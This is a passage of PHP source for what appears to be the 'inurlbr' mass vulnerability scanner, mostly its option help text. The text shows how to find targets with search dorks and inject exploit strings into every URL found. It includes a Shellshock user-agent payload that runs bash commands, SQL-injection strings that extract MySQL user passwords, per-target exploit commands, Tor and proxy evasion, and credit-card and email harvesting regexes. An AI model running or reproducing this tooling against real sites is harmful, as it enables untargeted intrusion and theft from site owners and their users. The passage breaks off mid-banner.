{$_SESSION["c2"]}BOOROW + {$_SESSION["c1"]}24{$_SESSION["c0"]} - {$_SESSION["c2"]}GOOGLE(CSE) GENERIC RANDOM + ---------------------------------------- + SPECIAL MOTORS + ---------------------------------------- + {$_SESSION["c1"]}e1{$_SESSION["c0"]} - {$_SESSION["c2"]}TOR FIND + {$_SESSION["c1"]}e2{$_SESSION["c0"]} - {$_SESSION["c2"]}ELEPHANT + {$_SESSION["c1"]}e3{$_SESSION["c0"]} - {$_SESSION["c2"]}TORSEARCH + {$_SESSION["c1"]}e4{$_SESSION["c0"]} - {$_SESSION["c2"]}WIKILEAKS + {$_SESSION["c1"]}e5{$_SESSION["c0"]} - {$_SESSION["c2"]}OTN + {$_SESSION["c1"]}e6{$_SESSION["c0"]} - {$_SESSION["c2"]}EXPLOITS SHODAN + ---------------------------------------- + {$_SESSION["c1"]}all{$_SESSION["c0"]} - {$_SESSION["c2"]}All search engines / not special motors{$_SESSION["c0"]} + Default: {$_SESSION["c1"]}1{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1{$_SESSION["c0"]} + {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}5{$_SESSION["c0"]} + Using more than one engine: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}1,2,5,6,11,24{$_SESSION["c0"]} + Using all engines: {$_SESSION["c1"]}-q{$_SESSION["c0"]} {$_SESSION["c2"]}all{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy{$_SESSION["c0"]} Choose which proxy you want to use through the search engine: + Example: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}{proxy:port}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}localhost:8118{$_SESSION["c0"]} + {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}socks5://googleinurl@localhost:9050{$_SESSION["c0"]} + {$_SESSION["c1"]}--proxy {$_SESSION["c2"]}http://admin:12334@172.16.0.90:8080{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy-file{$_SESSION["c0"]} Set font file to randomize your proxy to each search engine. + Example: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}{proxys}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy-file {$_SESSION["c2"]}proxys_list.txt{$_SESSION["c0"]} + + {$_SESSION["c1"]}--time-proxy{$_SESSION["c0"]} Set the time how often the proxy will be exchanged. + Example: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--time-proxy {$_SESSION["c2"]}10{$_SESSION["c0"]} + + {$_SESSION["c1"]}--proxy-http-file{$_SESSION["c0"]} Set file with urls http proxy, + are used to bular capch search engines + Example: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}{youfilehttp}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--proxy-http-file {$_SESSION["c2"]}http_proxys.txt{$_SESSION["c0"]} + + + {$_SESSION["c1"]}--tor-random{$_SESSION["c0"]} Enables the TOR function, each usage links an unique IP. + + {$_SESSION["c1"]}-t{$_SESSION["c0"]} Choose the validation type: op {$_SESSION["c2"]}1, 2, 3, 4, 5{$_SESSION["c0"]} + [options]: + {$_SESSION["c2"]}1{$_SESSION["c0"]} - The first type uses default errors considering the script: + It establishes connection with the exploit through the get method. + Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}2{$_SESSION["c0"]} - The second type tries to valid the error defined by: {$_SESSION["c1"]}-a={$_SESSION["c2"]}'VALUE_INSIDE_THE _TARGET'{$_SESSION["c0"]} + It also establishes connection with the exploit through the get method + Demo: www.alvo.com.br/pasta/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}3{$_SESSION["c0"]} - The third type combine both first and second types: + Then, of course, it also establishes connection with the exploit through the get method + Demo: www.target.com.br{$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + Default: {$_SESSION["c2"]}1{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-t {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-t {$_SESSION["c2"]}1{$_SESSION["c0"]} + + {$_SESSION["c2"]}4{$_SESSION["c0"]} - The fourth type a validation based on source file and will be enabled scanner standard functions. + The source file their values are concatenated with target url. + - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} + - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Explicative: + Source file values: + /admin/index.php?id= + /pag/index.php?id= + /brazil.php?new= + Demo: + www.target.com.br/admin/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + www.target.com.br/pag/index.php?id={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + www.target.com.br/brazil.php?new={$_SESSION["c3"]}{exploit}{$_SESSION["c0"]} + + {$_SESSION["c2"]}5{$_SESSION["c0"]} - (FIND PAGE) The fifth type of validation based on the source file, + Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable. + - Set your target with command {$_SESSION["c1"]}--target {$_SESSION["c2"]}{http://target}{$_SESSION["c0"]} + - Set your file with command {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Explicative: + Source file values: + /admin/admin.php + /admin.asp + /admin.aspx + Demo: + www.target.com.br/admin/admin.php + www.target.com.br/admin.asp + www.target.com.br/admin.aspx + Observation: If it shows the code 200 will be separated in the output file + + DEFAULT ERRORS: + {$_SESSION["c11"]} + [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, + [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, + [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, + [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, + [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, + [*]ERROR INDEFINITE + {$_SESSION["c0"]} + + {$_SESSION["c1"]}--dork{$_SESSION["c0"]} Defines which dork the search engine will use. + Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{dork}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br inurl:php? id'{$_SESSION["c0"]} + - Using multiples dorks: + Example: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}{[DORK]dork1[DORK]dork2[DORK]dork3}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--dork-file{$_SESSION["c0"]} Set font file with your search dorks. + Example: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}{dork_file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-get{$_SESSION["c0"]} Defines which exploit will be injected through the GET method to each URL found. + Example: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}{exploit_get}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?'´%270x27;\"{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-post{$_SESSION["c0"]} Defines which exploit will be injected through the POST method to each URL found. + Example: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}{exploit_post}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-post {$_SESSION["c3"]}'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]} Defines which exploit/parameter will be executed in the options: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all{$_SESSION["c0"]}. + The exploit-command will be identified by the paramaters: {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} + Ex {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf' {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'curl -v {$_SESSION["c8"]}_TARGET_{$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c2"]}'{$_SESSION["c0"]} + _TARGET_ is the specified URL/TARGET obtained by the process + _EXPLOIT_ is the exploit/parameter defined by the option {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. + Example: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}{exploit-command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-command {$_SESSION["c2"]}'/admin/config.conf'{$_SESSION["c0"]} + + {$_SESSION["c1"]}-a{$_SESSION["c0"]} Specify the string that will be used on the search script: + Example: {$_SESSION["c1"]}-a {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello world'{$_SESSION["c0"]} + + {$_SESSION["c1"]}-d{$_SESSION["c0"]} Specify the script usage op {$_SESSION["c2"]}1, 2, 3, 4, 5.{$_SESSION["c0"]} + Example: {$_SESSION["c1"]}-d {$_SESSION["c2"]}{op}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-d {$_SESSION["c2"]}1 {$_SESSION["c0"]}/URL of the search engine. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}2 {$_SESSION["c0"]}/Show all the url. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}3 {$_SESSION["c0"]}/Detailed request of every URL. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}4 {$_SESSION["c0"]}/Shows the HTML of every URL. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}5 {$_SESSION["c0"]}/Detailed request of all URLs. + {$_SESSION["c1"]}-d {$_SESSION["c2"]}6 {$_SESSION["c0"]}/Detailed PING - PONG irc. + + {$_SESSION["c1"]}-s{$_SESSION["c0"]} Specify the output file where it will be saved the vulnerable URLs. + + Example: {$_SESSION["c1"]}-s {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-s {$_SESSION["c2"]}your_file.txt + + {$_SESSION["c1"]}-o{$_SESSION["c0"]} Manually manage the vulnerable URLs you want to use from a file, without using a search engine. + Example: {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file_where_my_urls_are}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}-o {$_SESSION["c2"]}tests.txt + + {$_SESSION["c1"]}--persist{$_SESSION["c0"]} Attempts when Google blocks your search. + The script tries to another google host / default = 4 + Example: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}{number_attempts}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}7 + + {$_SESSION["c1"]}--ifredirect{$_SESSION["c0"]} Return validation method post REDIRECT_URL + Example: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}{string_validation}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}'/admin/painel.php' + + {$_SESSION["c1"]}-m{$_SESSION["c0"]} Enable the search for emails on the urls specified. + + {$_SESSION["c1"]}-u{$_SESSION["c0"]} Enables the search for URL lists on the url specified. + + {$_SESSION["c1"]}--gc{$_SESSION["c0"]} Enable validation of values ​​with google webcache. + + {$_SESSION["c1"]}--pr{$_SESSION["c0"]} Progressive scan, used to set operators (dorks), + makes the search of a dork and valid results, then goes a dork at a time. + + {$_SESSION["c1"]}--file-cookie{$_SESSION["c0"]} Open cookie file. + + {$_SESSION["c1"]}--save-as{$_SESSION["c0"]} Save results in a certain place. + + {$_SESSION["c1"]}--shellshock{$_SESSION["c0"]} Explore shellshock vulnerability by setting a malicious user-agent. + + {$_SESSION["c1"]}--popup{$_SESSION["c0"]} Run --command all or vuln in a parallel terminal. + + {$_SESSION["c1"]}--cms-check{$_SESSION["c0"]} Enable simple check if the url / target is using CMS. + + {$_SESSION["c1"]}--no-banner{$_SESSION["c0"]} Remove the script presentation banner. + + {$_SESSION["c1"]}--unique{$_SESSION["c0"]} Filter results in unique domains. + + {$_SESSION["c1"]}--beep{$_SESSION["c0"]} Beep sound when a vulnerability is found. + + {$_SESSION["c1"]}--alexa-rank{$_SESSION["c0"]} Show alexa positioning in the results. + + {$_SESSION["c1"]}--robots{$_SESSION["c0"]} Show values file robots. + + {$_SESSION["c1"]}--range{$_SESSION["c0"]} Set range IP. + Example: {$_SESSION["c1"]}--range {$_SESSION["c2"]}{range_start,rage_end}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--range {$_SESSION["c2"]}'172.16.0.5#172.16.0.255' + + {$_SESSION["c1"]}--range-rand{$_SESSION["c0"]} Set amount of random ips. + Example: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}{rand}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}'50' + + {$_SESSION["c1"]}--irc{$_SESSION["c0"]} Sending vulnerable to IRC / server channel. + Example: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}{server#channel}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' + + {$_SESSION["c1"]}--http-header{$_SESSION["c0"]} Set HTTP header. + Example: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm=\"Top Secret\"' + + {$_SESSION["c1"]}--sedmail{$_SESSION["c0"]} Sending vulnerable to email. + Example: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}youemail@inurl.com.br + + {$_SESSION["c1"]}--delay{$_SESSION["c0"]} Delay between research processes. + Example: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}10 + + {$_SESSION["c1"]}--time-out{$_SESSION["c0"]} Timeout to exit the process. + Example: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}{second}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}10 + + {$_SESSION["c1"]}--ifurl{$_SESSION["c0"]} Filter URLs based on their argument. + Example: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}{ifurl}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}index.php?id= + + {$_SESSION["c1"]}--ifcode{$_SESSION["c0"]} Valid results based on your return http code. + Example: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}{ifcode}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}200 + + {$_SESSION["c1"]}--ifemail{$_SESSION["c0"]} Filter E-mails based on their argument. + Example: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}{file_where_my_emails_are}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}sp.gov.br + + {$_SESSION["c1"]}--url-reference{$_SESSION["c0"]} Define referring URL in the request to send him against the target. + Example: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}{url}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}http://target.com/admin/user/valid.php + + {$_SESSION["c1"]}--mp{$_SESSION["c0"]} Limits the number of pages in the search engines. + Example: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}{limit}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}50 + + {$_SESSION["c1"]}--user-agent{$_SESSION["c0"]} Define the user agent used in its request against the target. + Example: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}{agent}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11' + Usage-exploit / SHELLSHOCK: + {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"' + Complete command: + php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555' + + {$_SESSION["c1"]}--sall{$_SESSION["c0"]} Saves all urls found by the scanner. + Example: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}{file}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}your_file.txt + + {$_SESSION["c1"]}--command-vul{$_SESSION["c0"]} Every vulnerable URL found will execute this command parameters. + Example: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--command-all{$_SESSION["c0"]} Use this commmand to specify a single command to EVERY URL found. + Example: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + [!] Observation: + + {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} will be replaced by the URL/target found, although if the user + doesn't input the get, only the domain will be executed. + + {$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c0"]} will be replaced by the original URL / target found. + + {$_SESSION["c14"]}_TARGETXPL_{$_SESSION["c0"]} will be replaced by the original URL / target found + EXPLOIT --exploit-get. + + {$_SESSION["c9"]}_TARGETIP_{$_SESSION["c0"]} return of ip URL / target found. + + {$_SESSION["c8"]}_URI_{$_SESSION["c0"]} Back URL set of folders / target found. + + {$_SESSION["c15"]}_RANDOM_{$_SESSION["c0"]} Random strings. + + {$_SESSION["c9"]}_PORT_{$_SESSION["c0"]} Capture port of the current test, within the --port-scan process. + + {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} will be replaced by the specified command argument {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. + The exploit-command will be identified by the parameters {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} + + {$_SESSION["c1"]}--replace{$_SESSION["c0"]} Replace values ​​in the target URL. + Example: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}{value_old[INURL]value_new}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]} + {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'{$_SESSION["c0"]} + {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.aspx?id=[INURL]index.aspx?id=1%27´'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--remove{$_SESSION["c0"]} Remove values ​​in the target URL. + Example: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}'/admin.php?id=0' + + {$_SESSION["c1"]}--regexp{$_SESSION["c0"]} Using regular expression to validate his research, the value of the + Expression will be sought within the target/URL. + Example: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} + All Major Credit Cards: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'{$_SESSION["c0"]} + + IP Addresses: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'{$_SESSION["c0"]} + + EMAIL: + Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + + + {$_SESSION["c1"]}---regexp-filter{$_SESSION["c0"]} Using regular expression to filter his research, the value of the + Expression will be sought within the target/URL. + Example: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} + EMAIL: + Usage: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + + + [!] Small commands manager: + + {$_SESSION["c1"]}--exploit-cad{$_SESSION["c0"]} Command register for use within the scanner. + Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND} + Example Format: NMAP::nmap -sV _TARGET_ + Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt + Usage: {$_SESSION["c1"]}--exploit-cad{$_SESSION["c2"]} 'NMAP::nmap -sV _TARGET_'{$_SESSION["c0"]} + Observation: Each registered command is identified by an id of your array. + Commands are logged in exploits.conf file. + + {$_SESSION["c1"]}--exploit-all-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, + (all) is run for each target found by the engine. + Example: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}1,2,8,22 + + {$_SESSION["c1"]}--exploit-vul-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, + (vull) run command only if the target was considered vulnerable. + Example: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}1,2,8,22 + + {$_SESSION["c1"]}--exploit-list{$_SESSION["c0"]} List all entries command in exploits.conf file. + + + [!] Running subprocesses: + + {$_SESSION["c1"]}--sub-file{$_SESSION["c0"]} Subprocess performs an injection + strings in URLs found by the engine, via GET or POST. + Example: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}{youfile}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}exploits_get.txt + + {$_SESSION["c1"]}--sub-get{$_SESSION["c0"]} defines whether the strings coming from + --sub-file will be injected via GET. + Usage: {$_SESSION["c1"]}--sub-get + + {$_SESSION["c1"]}--sub-post{$_SESSION["c0"]} defines whether the strings coming from + --sub-file will be injected via POST. + Usage: {$_SESSION["c1"]}--sub-get + + {$_SESSION["c1"]}--sub-concat{$_SESSION["c0"]} Sets string to be concatenated with + the target host within the subprocess + Example: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}{string}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}'/login.php'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--sub-cmd-vul{$_SESSION["c0"]} Each vulnerable URL found within the sub-process + will execute the parameters of this command. + Example: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--sub-cmd-all{$_SESSION["c0"]} Run command to each target found within the sub-process scope. + Example: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} + {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} + + + {$_SESSION["c1"]}--port-scan{$_SESSION["c0"]} Defines ports that will be validated as open. + Example: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}{ports}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}'22,21,23,3306'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--port-cmd{$_SESSION["c0"]} Define command that runs when finding an open door. + Example: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}{command}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_:_PORT_'{$_SESSION["c0"]} + {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_/file.php?sqli=1'{$_SESSION["c0"]} + + {$_SESSION["c1"]}--port-write{$_SESSION["c0"]} Send values for door. + Example: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}{'value0','value1','value3'}{$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}\"'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'\"{$_SESSION["c0"]} + + + + [!] Modifying values used within script parameters: + + {$_SESSION["c1"]}md5{$_SESSION["c0"]} Encrypt values in md5. + Example: {$_SESSION["c1"]}md5({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}md5({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=md5({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}base64{$_SESSION["c0"]} Encrypt values in base64. + Example: {$_SESSION["c1"]}base64({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}base64({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=base64({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}hex{$_SESSION["c0"]} Encrypt values in hex. + Example: {$_SESSION["c1"]}hex({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}hex({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=hex({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} + + {$_SESSION["c1"]}hex{$_SESSION["c0"]} Generate random values. + Example: {$_SESSION["c1"]}random({$_SESSION["c2"]}{character_counter}{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}random({$_SESSION["c2"]}8{$_SESSION["c1"]}){$_SESSION["c0"]} + Usage: {$_SESSION["c1"]}--exploit-get 'user?id=random({$_SESSION["c2"]}8{$_SESSION["c1"]})'{$_SESSION["c0"]} + +"); +} + +function __info() { + + return system("command clear") . __getOut(" + {$_SESSION["c1"]}_____ _ _ ______ ____ +|_ _| \ | | ____/ __ \ + | | | \| | |__ | | | | + | | 